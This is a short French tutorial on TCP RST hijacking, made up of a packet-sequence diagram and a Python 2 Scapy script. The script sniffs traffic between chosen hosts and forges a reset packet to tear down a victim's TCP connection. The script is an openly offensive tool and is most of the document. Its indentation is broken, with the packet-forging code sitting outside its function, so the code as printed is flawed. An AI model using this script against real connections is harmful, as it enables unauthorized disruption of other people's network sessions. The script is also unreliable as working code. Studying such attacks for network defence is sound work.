RST Hijacking



RST Hijacking

Le RST Hijacking consiste à clore nous-mêmes
la connexion via un paquet TCP avec le flag RST (reset),
pour cela il nous faut avoir le numéro de séquence
et l'acknoledge afin que le paquet soit accepté
et que la connexion se termine.
Pour ce faire nous allons coder un script python en utilisant Scapy.

Exemple: P pour pirate.

A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=salut
 --------> B
A <------- Flag ACK, seq=1200, ack=1006 --------- B
P -------- Flag RST, seq=1006, ack=1200 --------> B


Le Script:

# RST Hijacking Script
 # Usage: rsthijack.py remote_host remote_port target
 #!usr/bin/env/python
      
 """On importe tout les modules de scapy et sys"""
 from scapy.all import *
 import sys
      
 """Filtre a appliqué au Sniffer"""
 filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
 print "Waiting..."
 print " "
      
 """Fonction Utilisée par le sniffer à chaque paquet reçu"""
 def rst_hijack(p):
    
  """Si la Source est celle du remote_host (client ou serveur) et la destination celle de la cible"""
  if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
     print "[+] Connection Found!"
     print " "
     print "[+] It's time to blow this shit!"
      
 """Alors on forge un Paquet pour notre attaque a partir du paquet reçu"""
      
 """Ethernet"""
 ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
      
 """IP"""
 ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
 proto=p[IP].proto, id=29321)
      
 """TCP, flag: RST"""
 tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
 reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options)
      
 """On forme le paquet final"""
 reset = ether/ip/tcp
 
 """On l'envoi"""
 sendp(reset)
      
 """On sort du script"""
 sys.exit()
        
 """Sniffer qui applique à chaque paquet reçu la fonction rst_hijack, paquet trié selon le filtre"""
 sniff(count=0,prn = lambda p : rst_hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))